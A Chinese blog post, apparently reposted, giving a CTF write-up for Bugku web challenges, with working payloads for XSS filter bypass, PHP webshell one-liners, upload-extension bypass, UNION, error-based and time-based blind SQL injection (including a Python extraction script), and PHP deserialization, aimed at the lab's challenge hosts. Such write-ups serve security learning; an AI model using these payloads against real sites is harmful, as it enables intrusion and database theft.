欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

bugku Web write up 二

程序员文章站 2022-03-09 22:58:51
...

XSS

先来最简单的弹窗

?id=<srcipt>altert(/xss/)</script>

查看源码
bugku Web write up 二
发现<>被过滤掉了
这里学到一个技巧,就是用Unicode编码绕过
payload:?id=\u003cimg src=1 onerror=alert(_key_)\u003e

速度要快

这种题就是编程题
上脚本,注意这题是用margin。。。。查看源码可知
bugku Web write up 二

#coding:utf-8
import requests
import base64

url ='http://120.24.86.145:8002/web6/'

r =requests.session()

headers = r.get(url).headers
#flag = head['Flag'].split(':')[0]   注意response的键
#print flag

flag = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':flag}
print r.post(url=url,data=data).content #.text

字符?正则?

进去一看是条代码审计题目
bugku Web write up 二
这里加上别人跟自己对于正则的常规总结

1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以'^'开头,以'$'结束
4.“\/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号,记得是符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
9.\s匹配任意的空白符
10.\d   匹配数字
11.\b   匹配单词的开始或结束

自己的payload:?id=keyakey1111key:/a/aaa@qq.com

Web8

这个题目又学到了新知识
利用了file_get_contents的特性,当用到php://input的时候,file_get_contents支持字节流输入,只要构造php://input,且post数据过去即可
payload:?ac=1&php://input然后再post一个 1即可

求getshell

这一道题目又学到新知识。。。。
用PHP别名来绕过。。。php2, php3, php4, php5, phps, pht, phtm, phtml
然后参考了大佬们的wp
发现这一题还要把Content-Type: multipart/form-data; 改成大小写绕过的形式,改为Content-Type: Multipart/form-data;
然后用别名去尝试php5的时候出现flag
bugku Web write up 二

never give up

查看源码,发现有一个1p.html
打开一看里面有js代码,直接放到控制台里面看一下
发现跳转到论坛,然后不知道要干嘛。。。。。
还是先转义一下那段东西吧,先urldecode,再发现里面有base64,然后再一次urldecode发现一段代码
bugku Web write up 二
bugku Web write up 二
发现有一个txt文件,不管那么多,先访问一下
得到flag

过狗一句话

这个一句话是get方式发送数据
先了解一些函数
phpinfo()函数查看信息
看看根目录下有哪些文件

print_r(scandir("./"))
print_r(glob("*"))

发现有一个flag.txt,直接访问即可,也可以用下面的函数打印出来
一些常用的输出文件内容

print_r(file('flag.txt')),这里的print_r换成var_dump也行
show_source("flag.txt")

bugku Web write up 二

flag.php

因为题目提示hint,于是就输入?hint
bugku Web write up 二
原来是代码审计题目
考了一个反序列化的知识点
构造payload,但是注意代码中if-else的范围,倒数第二行中确实为变量KEY赋值了,但是它是在另一个else里
在进行严格比较前,变量KEY的值并没有被赋值
所以KEY为空值
然后在bp上构建payload
bugku Web write up 二

备份是个好习惯

打开一看一串东西,题目不是说是备份是个好东西吗。。备份的话就会想到源码泄露之类的东西,这里介绍一个好用的东西
SourceLeakHacker
上去一扫,发现文件
bugku Web write up 二
bugku Web write up 二
两种payload:
第一种是利用MD5函数返回false的,第二种是弱类型,MD5之后是0e开头的

?kkeyey1[]=1&kkeyey2[]=2
?kkeyey1=QNKCDZO&kkeyey2=s878926199a

秋名山老司机

脚本题。。。。这是某位大佬的代码

import re
import requests

s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
    "value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)

孙xx的博客

找来找去页面就发现这种东西
bugku Web write up 二
然后扫描以下网站
发现以下几个网站
bugku Web write up 二
其中最有利用价值的是phpmyadmin,用刚才的那个wp那个东西登录即可。。
bugku Web write up 二

sql注入2

这题真是太坑。。。。哪有什么注入。。。
我是看到别人wp说直接扫目录即可。。。
找到一个叫flag的东西下载下来,真的气死

这是一个神奇的登录界面

简单的post注入,什么过滤都没有。。。
先尝试” 报错,然后构造语句

admin_name=-1" union select order by 2#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select 1,2#&admin_passwd=&submit=GO GO GO     确定回显
admin_name=-1" union select database(),2#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select group_concat(table_name),2 from information_schema.tables where table_schema=daTABASE()#&admin_passwd=&submit=GO GO GO

bugku Web write up 二

admin_name=-1" union select group_concat(column_name),2 from information_schema.columns where table_name='flag1'#&admin_passwd=&submit=GO GO GO

bugku Web write up 二

admin_name=-1" union select flag1,2 from `flag1`#&admin_passwd=&submit=GO GO GO

bugku Web write up 二

文件包含二

两种绕过方法

<?aaa@qq.comeval($_POST['cmd']);
<script language="php">eval($_POST['cmd']);</script>

然后就是upload.php中是不能以php运行的

SQL约束攻击

参考下面这一篇文章
http://www.freebuf.com/articles/web/124537.html
既可以很快构造payload了
随便一个用户名加上一个超过它数据库规定的长度即可

welcome to bugku

抓包发现源码

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

出现file_get_contents,绕过第一层,然后用伪协议读取文件
bugku Web write up 二
得到base64编码然后解码得到下面的代码


     <?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  

感觉还是少了点东西,再用同样的方法查看index.php
这一下就感觉比较全了

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

这里看到unserialize就知道想要考察反序列化漏洞
从hint.php知道这个类,我们就可以构造一个类然后在echo函数调用后去调用__tostring()函数,然后读取文件
这里是我构造的类

class Flag{//flag.php  
                public $file;  
          }  

$a= new Flag();
$a->file = 'flag.php';
print _r(serialize($a));

最后另password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},发包得到flag
bugku Web write up 二

有时候不一定构造类,普通的数组也行,最近在实验吧做题遇到了一题直接用数组反序列化的题目。。。还是要看清楚题目要没有给你类之类的

INSERT INTO注入

这一个题目让我重新复习了一波python脚本啊!!!

我们查看源码

error_reporting(0);

function getIp(){
    $ip = '';
    if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }else{
        $ip = $_SERVER['REMOTE_ADDR'];
    }
        $ip_arr = explode(',', $ip);
        return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

这段代码大概意思就先是获取IP。但是在explode(',', $ip)这里以”,”给分割了,导致后面的语句不能使用有逗号的,也就是不能用limit1.2之类的,报错什么的都不行,所以只能延时盲注,所以我们用下面的代码段


select substring((select user()) from 1 for 1);  #第一种方法
select substring((select user()) from -1);  #第二种方法

这里利用了XFF的注入,用了一个新语句

select case when (条件) then 代码1 else 代码 2 end

原理大概就是利用11+false/true去进行判断,一旦是true,就与timeout=3相违背,从而执行except下面的函数,就可以跑出flag

直接放代码

import requests
import string 
author = '0verWatch'
print author
mystring = string.ascii_letters+string.digits
url='http://120.24.86.145:8002/web15/'
data = "11'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"  #这里的{}对应的是后面所需要的format
flag = ''

for i in range(1,35):
    for j in mystring:
        try:
            headers = {'x-forwarded-for':data.format(str(i),j)}
            res = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout:
            flag += j
            print flag
            break

print 'The final flag:'+flag

多次

这个题目感谢一下超哥的指导
我们进去之后先测试一波
开始输入 ?id=1’页面返回错误(但不是报错信息),添加 ?id=1’%23则没有报错猜测应该是单引号闭合,继续尝试 ?id=1’ and 1=1%23则又开始报错了,

这里学到一种新的注入方式异或注入
id后面输入 1’^(0)^’,此时页面正常返回,如果换一下 ‘^(1)^’,此时则会返回错误,那么接下来我们就可以试一下页面究竟过滤了那些关键字。比如 1’^(length(‘select’)=6)^’
测试这个select应该是被过滤的了,实现的语句应该是id=1'^0^0,有过滤返回正确,而无过滤的时候就会返回错误
测试得到以下关键字被过滤

select,union,or,and

我们先尝试用seselectlect这样的形式过滤,怎么测试呢,也是刚才的语句 1’^(length(‘seselectlect’)=6)^’这里返回了错误,说明绕过成功了

下面就是常规操作

?id=1' oorrder by 3%23   # 爆字段数
?id=-1' ununionion seleselectct 1,database() %23

注意information的绕过

?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23

?id=-1' ununionion seleselectct 1,group_concat(address) from flag1%23

最后得到下一个页面的地址

在一次尝试,发现这个页面是个报错注入,多次尝试发现union关键字被过滤,一旦union被过滤我们只能用报错注入的方法,一步步来了

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=flag2),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23

得到flag,注意提交flag的格式全部都是小写
总的来说这个题还是学到很多的,一是通过异或注入判断过滤的关键字,二是在union被过滤的情况之下要想到报错注入的方式

bugku Web write up 二

还没做完,有待更新。。。。

相关标签: bugku ctf web